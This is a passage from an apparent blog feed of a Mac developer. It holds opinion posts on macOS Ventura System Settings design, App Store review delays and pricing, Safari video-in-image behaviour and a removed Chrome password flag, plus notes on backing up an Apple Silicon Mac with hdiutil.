Now you might claim that if you know the "trick" to using a switch, then it's superior to a checkbox, because it provides a larger hit target. But you would be wrong! Because the checkbox also has its own trick: the checkbox label is clickable and causes the checkbox to toggle. Thus, the checkbox has an even larger hit target than the switch. The checkbox is always more efficient, both for unsophisticated users and for sophisticated users. The unsophisticated user has to rely on appearance and intuition, which suggests sliding the switch, an inefficient action. And the sophisticated user can enjoy the full width of the checkbox text.

I'd also mention that a checkbox is a standard <input> type on the web, so users tend to be very familiar with checkboxes, while a switch has to be custom hacked together on the web.

A slider is a similar element to a switch, but there are crucial differences that make the switch unintuitive, unlike the slider. Typical examples of a slider are volume and brightness. You can adjust a slider the "old fashioned" way by dragging the knob, just like with a switch. You can also single click in the slider, which may give the impression that it's similar to a switch. When you click inside a slider, though, the knob automatically moves to exactly where you clicked. Whereas a click inside a switch is just a toggle, so the knob doesn't move to where you clicked. In fact the knob could move in the exact the opposite direction, depending on where inside the switch you clicked. So I would say that the unintuitive switch behaves quite differently from the intuitive slider.

Quibbles

The Wi-Fi section in System Settings shows of full list of the available wi-fi networks. For me, this list contains more than 30 networks in my area. Even worse, you have to scroll down to the bottom of the section, below the network list to see a couple more preferences. In contrast, the Monterey Network preference pane lists the available wi-fi networks in a popup menu, not in the main view.

Spotlight Privacy has the opposite problem in System Settings. You have to click a "Spotlight Privacy…" button to show the list of folders excluded from Spotlight. In System Preferences, the list is in a tab in the Spotlight preference pane. Ventura System Settings seems to be allergic to tabs. (Sadly, the Siri Suggestions & Privacy… list is hidden behind a button even on Monterey. This was a bad precedent that expanded to several places in Ventura System Settings.)

The "Enter password" field steals the focus when you arrow down to the Passwords section in the System Settings sidebar.

]]>
Why Ventura System Settings is bad https://lapcatsoftware.com/articles/SystemSettings.html 2022-06-07T17:25:00Z 2022-06-07T19:35:00Z "Most people make the mistake of thinking design is what it looks like. People think it's this veneer, that the designers are handed this box and told, "Make it look good!" That's not what we think design is. It's not just what it looks like and feels like. Design is how it works." - Steve Jobs

The venerable System Preferences app has been completely redesigned in macOS 13 "The Body" Ventura. Indeed it's even been renamed to System Settings. The new design of Mac System Settings appears to be based on iPad Settings, and quite frankly, it's bad. You can say "Ventura is only a beta", but the problem isn't some bugs that can be fixed, the problem is the fundamental design that can't be fixed. I assume if I filed a Feedback asking for the old System Preferences design back, Apple would close my request with the reason "works as designed". Yet it works badly as designed. To explain why, I'm going to compare Monterey System Preferences with Ventura System Settings.

System Preferences
System Settings

Notice first that on Monterey, the keyboard focus starts in the Search field, whereas it doesn't on Ventura. I'll talk more about keyboard focus later, but also notice the bizarre popup buttons on Ventura. The button doesn't even appear until you hover over it!

Ventura popup buttons

Compare with Monterey:

Monterey popup buttons

On Monterey, you could customize the preference panes, hiding the ones you don't want to see.

Monterey View menu
Customize System Preferences

You could also sort them alphabetically rather than by categories. (Almost alphabetically, anyway, except the top row.)

Alphabetically sorted System Preferences

On Ventura, no such options exist.

Ventura View menu

Keyboard navigation on macOS is vastly improved if you enable one system preference. Err, system setting. On Mac OS X, this preference used to be called "Full Keyboard Access", but now that name has been repurposed for something similar but not quite the same in Accessibility preferences. The new name for the old Full Keyboard Access is now "Use keyboard navigation to move focus between controls". When enabled, not only can you use the tab key to move focus between controls, you can also use the space key to trigger a focused button.

Monterey, Use keyboard navigation to move focus between controls

On Ventura, this setting is more difficult to find, because it's buried behind another button.

Ventura Keyboard Settings
Ventura, Use keyboard navigation to move focus between controls

By the way, you can already see that System Settings has replaced many checkboxes with horizontal switches. I honestly don't get the appeal of switches at all, not even on touch screens. The only "point" of switches appears to be pointless animation. But otherwise, simple click or touch checkboxes are easier and quicker to toggle.

Navigation in System Settings is usually less convenient and requires more clicks than in System Preferences. Keyboard navigation in particular is much worse, as might be expected for a design inspired by iPad rather than Mac. For example, consider Notifications. On Monterey, the list of apps can be navigated with the up and down arrow keys, and each app's preferences are also navigable by keyboard. And when you want to switch to a different app, you can just select it in the list, because the list and the preferences are adjacent.

Monterey Notifications

On Ventura, the list of apps cannot be navigated by keyboard at all, and neither can the settings for each app.

Ventura Notifications

The only control that can be focused is the back button. (There's also a keyboard shortcut ⌘[ to go back, but I've never found that very convenient.) Every time you want to switch to a different app in the list, there's an extra step on Ventura, and gaps in keyboard navigability.

Ventura Notifications keyboard navigation

Now let's talk about the "General" section of System Settings.

Ventura General Settings

It's too general. There's way too much stuff in this section, which makes navigation inconvenient and adds extra steps. Many of these settings were top level preference panes in System Preferences that for some reason got buried in System Settings. Probably because it would make the sidebar list too long, but that just shows the design was bad, and the abuse of "General" is a workaround for the bad design.

Finally I want to talk about window sizing. On iPad and iPhone, windows are typically (though not always) full screen, whereas on the Mac, windows can take almost any size. The System Preferences window is not user-resizable, but it does size-to-fit the contents somewhat. If you install a third-party preference pane, as I did, you can see that the window becomes taller to fit another row. And if you pay close attention, you can see the window resize as you select different individual preference panes. In contrast, the System Settings window has a fixed width. This is unfortunate, because the settings are competing with the sidebar for that width (approximately the width of an iPad, you might say). On Monterey there's no competition, because the preference panes and the individual preferences are in separate views.

At first I thought the System Settings window wasn't vertically resizable either, but it turns out that I was just confused. My confusion was the result of an unfortunate user interface feature introduced in macOS Big Sur: heavily rounded rects on windows. Long years of Mac habit made me try to resize the window from the bottom right corner. This didn't work. If you place the mouse pointer at the visible "tip" of the window, the cursor doesn't change to indicate that sizing is available.

Mouse pointer at corner

If you move the pointer a little to the left, it's obviously still over the window. But it's not obviously over the window on the right edge, because of the rounding.

Mouse pointer hovering over window

Curiously and unintuitively, the cursor changes to a resize widget if you move the pointer down a little farther from the visible tip of the window.

Mouse resize widget

Another problem is that if you resize the System Settings window all the way down to the Dock, it's extremely difficult to get it to show the resize widget again. The mouse is either over the Dock or over the window, and it never shows the resize widget. (In contrast, the resize widget does appear easily at the top of the window if it's up against the menu bar.)

This is my initial impression from using System Settings for 24 hours. I've noticed other problems with System Settings too (some of them quite bad), but those are just beta bugs that are fixable. In this blog post I've tried to highlight the design flaws that would be difficult to fix without redesigning the app. Or "undesigning" the app, to go back to the old System Preferences design. Last year we got Apple to backtrack on the new terrible Safari tabs, so maybe we can do it again this year?

Addendum

It's been brought to my attention that the new System Settings violates Apple's Human Interface Guidelines, which were just updated. "Avoid using a switch to control a single detail or a minor setting." "In general, don't replace a checkbox with a switch." "Use a checkbox instead of a switch if you need to present a hierarchy of settings."

]]>
Apple's director of App Review emailed me https://lapcatsoftware.com/articles/InReview2.html 2022-06-04T14:55:00Z 2022-06-04T14:55:00Z Last week I wrote a blog post about how my bug fix update was stuck in App Store review. Somehow my blog post came to the attention of Apple's senior director of App Review, Trystan Kosmynka, who sent me an unsolicited email about it later that day. I didn't actually realize until yesterday, when I saw a tweet from Kosta Eleftheriou, that the email was from Apple's senior director of App Review rather than someone lower level on the App Review team.

Hi Jeff,

Regarding: https://lapcatsoftware.com/articles/InReview.html

The app was delayed in the “in review” status as it was waiting for some static analysis to complete. The app has now been processed.

Regarding "This claim does not appear to be true. I've heard from a number of other developers who have said that their bug fix updates still get held up over other issues."

The bug fix submission process is very real. When the app update is submitted it goes through the regular review. In the event a reviewer finds an issue with the app, they will notify the developer. The top of that message indicates that if the issue is with a feature that is already live in the app the developer can elect to have the app processed and resolve the issue on a future submission. We’ve found that most developers prefer to fix the issues we find and resubmit, certainly there are cases however where it’s been helpful to have the option and the developer does choose to have the app approved and resolve on a future submission.

If there is any hang up in the future do not hesitate to file an expedite request

Thanks,
Trystan

I wrote a reply to the email, but I haven't received a response yet, and at this point I'm not expecting a response anymore, especially when everyone will be super busy with WWDC starting Monday.

Hi Trystan,

Thanks for writing!

Why did static analysis take 3 days, vastly longer than any previous review?

Jeff

I hesitated to publish Kosmynka's email for a number of reasons but ultimately decided that publishing was in the public interest, because the email contains information that App Store developers should know. And as you can see, the email doesn't reveal anything confidential or personal. (By the way, Kosmynka testified in the Epic trial about static analysis and other details of App Review.)

One reason I hesitated is that I don't want to participate in spreading Apple propaganda. Without further explanation from Apple, I find it hard to accept their static analysis story. It's still a mystery why this one instance of static analysis would take an unprecedented amount of time. My update that was stuck In Review was finally approved 9 hours after my previous blog post was published, and shortly before Kosmynka emailed me. In contrast, this week I submitted iOS App Store and Mac App Store updates for another app, and these updates only spent a short time "In Review": 2 hours for iOS, 20 minutes for Mac.

Before I end this blog post, I want to address Kosmynka's statement about the bug fix submission process. It's important to note that in my case, the review never found an issue with my update, and so I never received a notification of an issue. As I mentioned last week, "there's actually no way for a developer to contact the reviewer while the app is In Review." My bug fix release was delayed for days with no explanation whatsoever. Furthermore, Apple's process still delays bug fix updates even if "the developer does choose to have the app approved and resolve on a future submission." This is because the approval process is interrupted when App Review flags an issue with a preexisting feature in the app. In this case the developer receives an email, but it can take an indeterminate amount of time for the developer to see and respond to the email. What if the developer is away or asleep? (Remember that the "Waiting for Review" stage itself can take an indeterminate amount of time. I've had apps go into review in the middle of the night for my time zone.) And it's unclear whether App Review has to again manually take some action after the developer chooses to postpone addressing the issue raised by App Review; if so, then there's another delay of indeterminate time. This is why "most developers prefer to fix the issues we find and resubmit" is cold comfort to the developers with an urgent bug fix that they need to release to users as soon as possible.

Perhaps App Store Connect should allow developers to make this choice at the time they submit the update, rather than after App Review raises an issue with the update. If you're not an App Store developer, you have no idea how terrible the experience is for us. As I've said before, App Store Connect is the worst web site ever made.

]]>
My bug fix update is stuck in App Store review https://lapcatsoftware.com/articles/InReview.html 2022-05-27T13:50:00Z 2022-05-27T13:50:00Z Timeline summary:

Tuesday 5:39pm: Tweaks for Twitter Mobile update submitted
Tuesday 5:43pm: Tweaks for Twitter Mac update submitted
Wednesday 4:29am: Tweaks for Twitter Mac update "In Review"
Wednesday 7:56am: Tweaks for Twitter Mac update "Pending Developer Release"
Wednesday 12:32pm: Tweaks for Twitter Mobile update "In Review"
Thursday 12:44pm: Requested status update from Apple Developer Support
Friday 4:57am: Received status update email from Apple Developer Support
Friday 8:30am (now): Tweaks for Twitter Mobile update still "In Review"

On Tuesday I submitted a minor bug fix update of my app Tweaks for Twitter to the iOS App Store and Mac App Store. (If you want to know why I have separate iOS and Mac versions, you can read my previous blog post On App Store pricing inflexibility.) The bug fixes in the two versions were identical and small: only 5 lines of source code were changed. For those who are not familiar with App Store review, there are two stages: Waiting for Review and In Review. When you submit an update, the app immediately goes into the Waiting for Review stage, which is typically the longer of the two stages. Waiting for Review just means that your app is waiting in the queue for a reviewer to look at it. When a reviewer starts to look at the app, it enters the stage In Review. At the end of review, the app is either rejected or accepted. (The stage Pending Developer Release means that it's been accepted, and the developer can release the update in the App Store whenever they want.) My Mac App Store update spent 3.5 hours In Review and is now Pending Developer Release. My identical iOS App Store update has been In Review over 44 hours and counting.

Again for those who are not familiar with App Store review, there's actually no way for a developer to contact the reviewer while the app is In Review. You can contact the reviewer in App Store Connect after your app has been rejected, but not before it's been rejected. You can contact the App Review Team to get a status update, which I did, but this is largely pointless, because you only get a totally uninformative canned response form letter:

Thank you for contacting App Store Review about your app’s status.

Your app, "Tweaks for Twitter Mobile," is in review as of May 27.

You can find more information about the app review process on the App Review Support page.

On average, 90 percent of apps are reviewed within 48 hours. However, there may be cases that require additional review time. You do not need to do anything at this time. If we require any additional information, we will notify you directly.

When your app’s review is complete, you will be notified by email.

In my 5 years as an indie developer in the App Store, I've submitted over 200 app updates, and before now the longest that an update has ever spent In Review was 13.5 hours. Most app reviews have been much shorter than 13.5 hours, sometimes only a few minutes. So the current situation is unprecedented for me. Three aspects of this situation frustrate me. First, as always, the lack of communication from Apple. Their lack of communication with developers is a constant source of developer discontent with Apple. Second, the insane inconsistency of App Store review. In this case, my Mac App Store update was accepted in 3.5 hours, and my iOS App Store update is the same as my Mac App Store update, so what exactly is the problem? Third, Apple claimed that they wouldn't hold up bug fixes for unrelated issues:

for apps that are already on the App Store, bug fixes will no longer be delayed over guideline violations except for those related to legal issues. Developers will instead be able to address the issue in their next submission.

This claim does not appear to be true. I've heard from a number of other developers who have said that their bug fix updates still get held up over other issues.

Some people will say, "This is the first problem you've had in 5 years, so why are you complaining?" But that's not true. I've had many problems with App Store development over the years. It's the first time I've had this specific problem of being "In Review" indefinitely, but my overall experience with Apple development cannot be characterized as free of problems. Apple keeps "innovating" new and different problems to throw at its third-party developers.

]]>
On App Store pricing inflexibility https://lapcatsoftware.com/articles/pricing.html 2022-05-12T00:20:00Z 2022-05-12T00:20:00Z I released my web browser extension StopTheMadness four years ago in the Mac App Store. It was initially priced at $4.99 USD and supported only Safari. Since then I've added a ton of new features, as well as support for Firefox and Chromium browsers. It's almost embarrassing how primitive version 1.0 of StopTheMadness was compared to the current version. Over the years I've also raised the price: it's currently at $9.99 in the Mac App Store, though at times the price been a little higher than that. For the first three years I didn't feel that this pricing model was inflexible for my purposes, but then suddenly last year I was faced with a new opportunity, and a new dilemma: Apple introduced Safari extension support to iOS 15. I never expected this to happen, so I had no prior plan for how to sell StopTheMadness on iOS alongside StopTheMadness on Mac.

I ended up making StopTheMadness a separate purchase in the iOS App Store. It's been $7.99 since September 2021 when iOS 15 was released. If you already purchased StopTheMadness in the Mac App Store, you have to pay full price in the iOS App Store, and if you want to purchase both Mac and iOS versions today, you have to pay full price for each separately. This is far from ideal from my perspective or from the perspective of customers, but I felt it was necessary in the situation.

Why didn't I make StopTheMadness a "universal" app, selling the Mac and iOS versions together for one price? The answer is simple: I couldn't afford to do that. The sad fact is that my revenue had fallen significantly in 2021 — even after Apple's App Store cut was reduced from 30% to 15% by the new Small Business Program — and I was running out of money. In terms of unit sales, the best month ever for StopTheMadness in the Mac App Store, by far, was May 2018, the month after it was released. And those customers all paid the low initial price of $4.99, not the current higher price of $9.99. Many of those customers had been requesting StopTheMadness on iOS for years; these were the people most excited to see the new app. If I made StopTheMadness universal and gave the iOS version to previous Mac customers for free, even to the customers who only paid $4.99 three years prior, I'd be passing up a huge amount of money — money I desperately needed at the time just to stay afloat.

The App Store unfortunately doesn't support paid upgrades. Nonetheless, in my own mind, I treated StopTheMadness on iOS as a kind of paid upgrade: if you already purchased the Mac version, and you wanted the new iOS version, you had to pay extra. It should be no surprise that the best unit sales month ever for StopTheMadness in the iOS App Store was September 2021, with October 2021 second best. Of course I'm still "stuck" with this business model of separate purchases now, eight months later, but I definitely feel the initial revenue in those first few months made my choice worth it.

Paid upgrades for Mac apps sold outside the App Store typically and traditionally have discounts for previous customers. I would have liked to provide a discount for my previous customers too. The App Store does support discounted app bundles; for a time I had a discounted bundle in the Mac App Store containing StopTheMadness and another app of mine, Link Unshortener. However, the App Store doesn't support cross-platform bundles. I can't provide a discounted bundle that consists of a Mac app and an iOS app. (There's a slight twist to this that doesn't help me: an App Store developer can make a discounted app bundle consisting of a universal Mac/iOS app and another platform-specific app, because those two apps will both exist in the same store. For apps that don't exist in the same platform store, you're out of luck.)

Now that the initial post-release sales bump is long gone, it's conceivable that I could turn StopTheMadness into a universal app. I don't feel much inclined to follow this path, though, because such a major change in business model would create at least two major problems. First, how would I price the universal app? I've made the iOS version a little cheaper than the Mac version to appeal to iOS buyers who are more price conscious, and not everyone wants both the iOS and Mac version. If I charge $9.99 for the universal app, or even more than $9.99 to reflect the added value of cross-platform support, then I scare away potential buyers of the iOS version. On the other hand, if I charge $7.99 for the universal app, I may be losing a lot of revenue. Despite the wild claims of people who are ignorant of the software business, little indie developers like me can't "make it up in volume" with lower prices, because the hardest part of selling for an indie developer is making potential customers aware of the existence of your app. Lowering your price doesn't magically make customers appear. Believe me, I've tried that before!

The second major problem of switching StopTheMadness to a universal app would be migrating previous customers to the new app. The way it would work is that I'd have to choose one of the versions, either the Mac App Store version or the iOS App Store version, and make that one universal, adding a second platform to that app. For the sake of argument, let's say I add a Mac version to the existing iOS App Store app. On iOS there would be no problem: the iOS app would continue to be updated as before. Moreover, if you purchased the iOS app, then your purchase would carry over to the Mac, so you could download the new universal Mac version "for free". The question is, what if you had purchased StopTheMadness in the Mac App Store and only in the Mac App Store? Then you would have no ability to download the iOS version, because you never purchased that. I could give iOS App Store promo codes to some Mac App Store customers, but developers only get 100 promo codes per app version, so there's no way I could accommodate everyone. I suppose the "solution" to this problem would be to permanently maintain a universal version of StopTheMadness and the old non-universal version too, but that's a rather tedious, burdensome prospect for me, and also extremely confusing for potential new customers in the Mac App Store, who would see two versions of the same app.

In conclusion, I've found App Store pricing to be painfully inflexible when you have apps in both the iOS App Store and Mac App Store. It feels like Apple wants all developers to make their apps universal, but that doesn't necessarily make business sense for developers, especially indies like me. I wish that Apple offered more pricing options, such a cross-platform discounted bundles.

Postscript: Other business models

I could write a whole other blog post talking about why I chose the upfront paid business model rather than free with In App Purchase or subscription (which I'd say is more accurately termed "rental"). I don't really feel like writing it, but I could, and it would be long. I just want to say that yes, I have considered them. I've considered, reconsidered, considered again, and will likely consider in the future. Some of my reasons are very specific to my particular software. The architecture of web browser extensions is fundamentally different than self-contained apps, which raises a host of issues. Anyway, I hope you trust that I am both intelligent and extremely motivated to maximize my revenue, so I haven't casually overlooked an obvious way to increase it.

]]>
Safari <img> solving the wrong problem https://lapcatsoftware.com/articles/img1.html 2022-05-04T22:05:00Z 2022-05-04T22:05:00Z Today I learned that Safari, and only Safari, allows the HTML image element <img> to show a video. A web page just has to set the src attribute of an <img> to an MP4 video URL. The video will auto-play, albeit without sound, even if you've set your Safari Preferences to "Never Auto-Play". Here's an example.

It turns out that this feature was introduced in early 2018, but I didn't remember the announcement because I didn't introduce the "Stop autoplaying videos" feature to my Safari extension StopTheMadness until late 2019. The motivation behind allowing videos for images was described by the WebKit team:

Animated image formats are very popular, but they easily become large, bandwidth intensive file sizes. To address the performance impact, WebKit in Safari now supports loading H.264 encoded MP4 video with an HTML tag. This allows content authors to replace animated GIF files that are much larger than H.264 video files and require more processing power to display. Beyond the performance gains, this change also allows web content authors to use videos as a CSS background-image.

Some detailed information about this change is available in the blog post Evolution of : Gif without the GIF by Colin Bendell.

In my opinion, Safari is solving the wrong problem here. Animated gifs are anachronisms, abominations, much like the deprecated HTML <marquee> element. For the reasons cited in the WebKit blog post, many web sites have already switched from <img> gif elements to <video> elements. When you see a "gif" in a tweet on Twitter, that's actually a short video. (However, Twitter still allows true animated gif images for user profile photos, which is awful. My Safari extension Tweaks for Twitter actually has a feature to replace animated gifs in profile photos with a generic static image.) It's widely agreed that gifs are bad, but the solution is not to make gifs "more efficient", because so many web browser users hate auto-playing animated gifs, for the same reason that they hate auto-playing videos. Just like animated gifs, videos in <img> elements are an anti-feature, not a feature.

The solution to the animated gif problem is to discourage the use of animated gifs and instead encourage the use of <video> elements that do respect the user's auto-play preference. This can be accomplished by making animated gifs respect the user's auto-play preference too! If animated gifs don't auto-play, then there's little advantage to using them over videos. Make a gif a static image until the user clicks on it to animate, just like a video.

All too often, the web browser vendors think of the needs of web developers first and the needs of users only second, if at all. This is yet another case. Users don't want animated images and videos that can't be blocked! Safari, please stop the madness.

]]>
The App Store Improvements process makes no sense https://lapcatsoftware.com/articles/AppStoreImprovements.html 2022-05-02T00:01:45Z 2022-05-02T02:00:00Z A week ago it was reported that a number of developers were receiving an email from Apple:

App Store Improvement Notice

This app has not been updated in a significant amount of time and is scheduled to be removed from sale in 30 days. No action is required for the app to remain available to users who have already downloaded the app.

You can keep this app available for new users to discover and download from the App Store by submitting an update for review within 30 days.

If no update is submitted within 30 days, the app will be removed from sale

This understandably caused much controversy and uproar the past week. Michael Tsai covered it extensively as usual. Finally on Friday evening, Apple dropped a public announcement titled "Clarifying criteria & new timing extension for App Store Improvements process", as well as a developer support article on App Store Improvements. They're too long to quote fully here, but they discuss the importance of privacy and security, as well as compatibility with newer hardware and software, all of which does make sense. What I want to discuss in this blog post is the crucial part that makes no sense, namely, the criteria Apple is using to force apps to update:

As part of the App Store Improvements process, developers of apps that have not been updated within the last three years and fail to meet a minimal download threshold — meaning the app has not been downloaded at all or extremely few times during a rolling 12 month period — receive an email notifying them that their app has been identified for possible removal from the App Store.

If Apple had said all apps that have not been updated within the last three years must update, that would have made sense. There would be major complaints, of course, but at least it would have made sense. Alternatively and separately, if Apple has said all apps that fail to meet a minimal download threshold would be removed, that would again cause complaints but would nonetheless make some sense. The combination of these two criteria, though, is just… bizarre.

One enormous problem with Apple's publicly stated criteria is that they directly contradict what Apple has said previously in response to accusations of antitrust:

At its core, the App Store is a safe, secure platform where users can have faith in the apps they discover and the transactions they make. And developers, from first-time engineers to larger companies, can rest assured that everyone is playing by the same set of rules.

If older apps with fewer downloads are forced to update or be removed, while older apps with more downloads are exempt from updating or the threat of removal, then clearly everyone is not playing by the same rules!

Another problem is that Apple didn't specify the minimal download threshold. We know that "has not been downloaded at all" means zero, but what does "extremely few times" mean exactly? It's not clear that the apps already threatened with removal have failed to meet the minimal download threshold, according to the common understanding of the word "few". Disillusioned indie developers might suspect that in Apple's eyes, all of us have extremely few downloads. After all, we're just tiny fish in the App Store ocean. My own App Store apps are all downloaded extremely few times a year in comparison to the biggest apps such as TikTok. Indie developers have often felt that Apple makes life more difficult for us particularly, while giving special treatment to bigger developers. Proof of this differential treatment, and a number of secret deals, came to light during the Epic trial. So what if Apple's stated criteria, vague about numbers, is inherently indie-hostile?

Besides the minimal download threshold number, we'd like to know how many apps are affected by Apple's criteria — apps that haven't but updated in 3 years and haven't been downloaded enough — as well as how many apps are not affected by Apple's criteria, by which I mean specifically apps that haven't been updated in 3 years but have met the minimal download threshold. Are there any developers in the latter group? If not, then Apple's announcement feels very much like a cynical ploy to downplay the controversy and how it affects indie devs. On the other hand, if the number of older apps with significant downloads is high, that raises important questions about user privacy, and why those apps are exempt from updating.

Apple introduced App privacy labels to the App Store in late 2020. When a developer submits a new app or an app update to the App Store, they're required to fill out a form specify what data the app collects from users. However, if an app hasn't been updated since App privacy labels were introduced, the developer is not required to fill out the form. When you look at an older app in the App Store, under the App Privacy section you'll see this:

No Details Provided

The developer will be required to provide privacy details when they submit their next app update.

A lot of public support for Apple's policy of forced updates is due to the app privacy label requirement. Yet the truly insane part of Apple's newly stated policy is that the most-used older apps are exempt! The new policy is basically the exact opposite of what users would want. If an app has been downloaded zero times in the past 12 months, then who cares what its privacy policy is? You can't violate user privacy if you don't have any users. But for some bizarre reason, if an app has enough users to exceed the download threshold, then Apple's App Store "Improvement" process doesn't help these users at all. No privacy details for them. Like I said, this makes no sense.

Let's talk about the apps with zero or extremely few yearly downloads, as "few" is normally understood. It's understandable that Apple might want to clear these apps out of the store. Although they take up no physical "shelf space" and barely use any resources, they still might congest the App Store search results. The mystery, though is why Apple wants developers to update these apps rather than simply removing them. How does updating an app with zero downloads help anything or anyone? Theoretically, according to Apple's rules, a developer could keep an app in the App Store forever with zero downloads as long as the developer updates the app at least once every three years. How does this make any sense? Is updating the app supposed to somehow make it more attractive to users, despite the fact that the app failed to achieve any traction when it was "younger"?

Moreover, Apple doesn't require developers to make these apps "better", the requirement is just to update the app with the latest SDK. So the app update might consist of the same old source code recompiled with a newer version of the Xcode developer tools, and no other changes. The definition of insanity is doing the same thing over and over again and expecting different results; in this case, it's updating the app every three years expecting more downloads.

I suppose that Apple could hope that these low download developers don't submit app updates and simply let Apple remove their apps. But that part isn't under Apple's control, it's under the control of the developers. It's a strange thing for Apple to leave to chance if Apple is concerned with the quality of the App Store and the App Store search results.

Finally I should mention that the scam artists who plague the crap store have no trouble submitting regular pointless updates with uninformative release notes such as "Bug fix" in order to avoid Apple's threat of removal. Somehow these scam app updates keep getting approved, and the scammers themselves don't get removed even when some of their apps are caught, so they live to see another day, and Apple allows them try and try again to scam users. Maybe Apple should focus its "App Store Improvements" efforts in this critical area?

]]>
Google Chrome 101 removed Fill passwords on account selection https://lapcatsoftware.com/articles/Chrome101Fill.html 2022-04-27T00:00:00Z 2022-04-27T00:00:00Z Google Chrome version 101 was released today, and I've discovered to my dismay that it removed the long-standing flag #fill-on-account-select "Fill passwords on account selection". For some strange reason, this very useful flag was never exposed in Chrome's preferences, but you can — or could! — find it by opening chrome://flags in a Chrome tab. This changed in Chrome 101.

No matching experiments

For another strange reason, this very useful flag was expired in Chrome 100, which means that Chrome 100 was the last version in which it appeared. I've filed a Chromium bug for this. The good news is that you can temporarily unexpire the flag in Chrome 101. You just need to enable the flag #temporary-unexpire-flags-m100 "Temporarily unexpire M100 flags." and then relaunch Chrome.

Temporarily unexpire M100 flags.

Notice however that it says "These flags will be removed soon", which is very bad news. Anyway, after you relaunch Chrome, you can once again find the #fill-on-account-select flag, enable it, and then relaunch Chrome a second time for it to take effect.

Fill passwords on account selection

There's a sample password form on the page https://www.w3schools.com/tags/tryit.asp?filename=tryhtml5_input_type_password that you can use to see the difference made by Fill passwords on account selection. Just enter a dummy email and password (they don't matter), submit the form, and save the password in Chrome. Without Fill passwords on account selection, the password will be automatically filled in by Chrome whenever you load the page:

Email and Password fields autofilled

With Fill passwords on account selection enabled, the password field remains blank when you load the page, and Chrome will show the account when you click on the password field. If you then select the account, then Chrome will automatically fill in the password. Whether the password field gets filled or not is under your control, not under Chrome's control.

Email and Password fields empty

By default, Safari's built-in password AutoFill behaves very similarly to Chrome's Fill passwords on account selection:

Safari autofill

I hope that Chrome will reconsider removing this flag. In fact, it's a bit puzzling why Chrome doesn't show the flag in its preferences.

]]>
How do I backup my new MacBook Pro? https://lapcatsoftware.com/articles/backup.html 2022-04-22T18:30:00Z 2022-04-26T16:15:00Z A few days ago I blogged about my new M1 MacBook Pro. It's mostly been fine, but now I'm experiencing a significant problem: I can't figure out how to make a backup! I back up my home folder daily, and that continues to work as before, but I also back up the entire internal disk weekly, and that doesn't work.

With my 2014 Intel MacBook Pro, I can boot into the recovery volume, select the APFS container for the SSD, select the command "New Image from" the container, and save a new encrypted, compressed disk image to my external backup drive. This works great, extremely reliable, never fails, and takes about an hour, so I can run the backup while I'm out for errands. I don't need a bootable backup, I just need to protect against data loss, for example, when the Big Sur updater hosed my install.

With my new Apple Silicon MacBook Pro, the "New Image from" command is disabled for the internal disk container. According to Apple's support documentation, "You can’t create images of individual APFS volumes. You can’t create images of APFS containers on Mac computers with Apple silicon or an Apple T2 Security Chip." The documentation doesn't explain why, but… that sucks.

The suggested alternative is to create a "New Image from Folder". So I booted into recovery and selected the /System/Volumes/Data folder. I decided to just back up the read-write data volume and not the read-only system volume, because I didn't really need the latter, and skipping it would save time and space. I started the backup and went outside for an hour to get some exercise. When I got home, however, the backup wasn't even close to finished. Only 50GB of the 350GB data had been saved to the new image. The other ridiculous thing is that there was no way in Disk Utility to cancel the creation process. The only way to stop it was to reboot. The user interface was still responsive — there was no hang or spinning pinwheel — the Disk Utility app just doesn't provide cancel button!

At that point I decided to do a speed test of my two MacBook Pros, Intel vs. ARM. I copied an identical multi-GB file from each MacBook Pro to my backup drive, and the copy durations were also identical, so there was no problem with that. The limiting factor is just the speed of my backup HDD. I have to use a USB-C to USB-A dongle from my new MacBook Pro, but that didn't slow down the copy speed at all. Thus, there's no hardware explanation for why it would take 7 times longer to back up my new MacBook Pro compared to my old MacBook Pro.

Today I attempted a slightly different strategy. I booted into recovery, created a new blank encrypted sparseimage with a maximum size of 400GB, and then restored the data volume into the blank image. This seemed to be progressing fine, so I went out to run some errands. When I got home an hour later, the screen was black, which is not odd, but the mouse pointer and the battery status in the menu bar were still visible, which is very odd. When I woke the screen, I discovered that the restore operation had failed. I checked the size of the sparseimage, and it was only 15GB. The error message from Disk Utility was not very informative:

Failed to create source stream for replication.
Volume replication failed - Operation not permitted
The operation couldn't be completed. (OSStatus error 1.)

I guess the next thing I'll try is to boot into recovery and run hdiutil create -encryption -format UDZO -srcfolder /System/Volumes/Data -noatomic from Terminal to see whether that makes the backup faster than "Image from Folder". It's unacceptable to me to turn a 1 hour process into a 7 or 8 hour process.

Of course I'm aware of Time Machine, but please don't suggest that to me. Time Machine doesn't really fit my backup workflow, and I've never trusted Time Machine anyway. I'm also aware of third-party backup software, and I'm not opposed to that in principle, but I'd really like to hear an explanation of what's going wrong with my manual backups. After all, third-party software isn't magical, so the question is what if anything it's doing differently. If I don't know what's going wrong now, how can I be confident that third-party software will solve my problems? I'm appealing to the Apple Silicon and APFS experts out there for information about how this works, or is supposed to work, or isn't supposed to work. At the moment, I'm not particularly happy with Apple Silicon as the future of the Mac. Help!

Addendum April 26 2022

I tried many different variations of arguments to the asr command-line tool for Apple Software Restore, but every attempt failed. I ran these commands both from the recovery volume and also from the main system volume. I tried restoring from a snapshot. Nothing worked. Usually I got an undocumented error code on invoking the command.

I have found one thing that works. In Terminal, booted from recovery:

hdiutil create -encryption -format UDSB -srcfolder /Volumes/Data -noatomic -noscrub

This finished in about an hour, the same amount of time as the backups from my old Intel Mac. The format UDSB is a sparse bundle, a newer format similar to a sparse image that grows with its content, but a sparse bundle is backed by a file hierarchy on disk rather than a single file. To my surprise, I discovered that the different disk image formats have vastly different write speeds. In one test I ran with the exact same data, UDSB was almost 4 times faster than UDSP and an astounding 7 times faster than a standard UDRW read-write disk image!

One problem with using sparse bundles for backups, however, is that a sparse bundle is a read-write disk image format. My intention is to archive the backups, and I never want the data to change once it's been written. So after I created the backup, I used hdiutil convert to convert the sparsebundle into a UDRO read-only disk image. This took at least 2 hours, which is annoying, but at least I didn't need to be booted into recovery during that time. Still, even that is not a good solution, because creating a sparsebundle and then converting it to a read-only disk image requires twice the free space on the backup disk as just creating a single backup disk image. I can delete the sparsebundle after the conversion, but the disk space is needed during the conversion. Another problem is that if I'm performing a full system backup in preparation for a macOS software update, I have to delay the update for 2 additional hours, and I wouldn't want to use the Mac during that time, otherwise any data changed during that time wouldn't be captured by the backup.

If I can convert UDSB to UDRO in 2 hours, does that mean I could just use hdiutil create -encryption -format UDRO to create the backup in 2 hours instead of 1 hour? Bizarrely, the answer is no, not even close. When I replaced UDSB with UDRO in my command-line invocation, I found that the estimated time was about 10 hours! I decided to give up and abort this operation long before it finished.

